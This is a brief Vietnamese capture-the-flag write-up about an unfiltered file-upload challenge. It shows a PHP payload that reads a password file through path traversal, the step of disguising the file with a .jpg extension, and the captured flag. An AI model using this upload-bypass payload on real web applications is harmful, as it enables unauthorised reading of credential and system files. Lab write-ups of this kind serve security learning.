Đầu tiên ta vào trang thì thấy phần upload không filter, ta sẽ tạo payload để tấn công

<?php

echo file\_get\_contents("../../../.passwd");

?>

Sau đó đổi tên file bằng thêm .jpg cuối

Graphical user interface, text, application

Description automatically generated

Gửi payload và nhấn vào xem ảnhGraphical user interface, application, Word

Description automatically generated

Thì ta có được flag

Gg9LRz-hWSxqqUKd77-\_q-6G8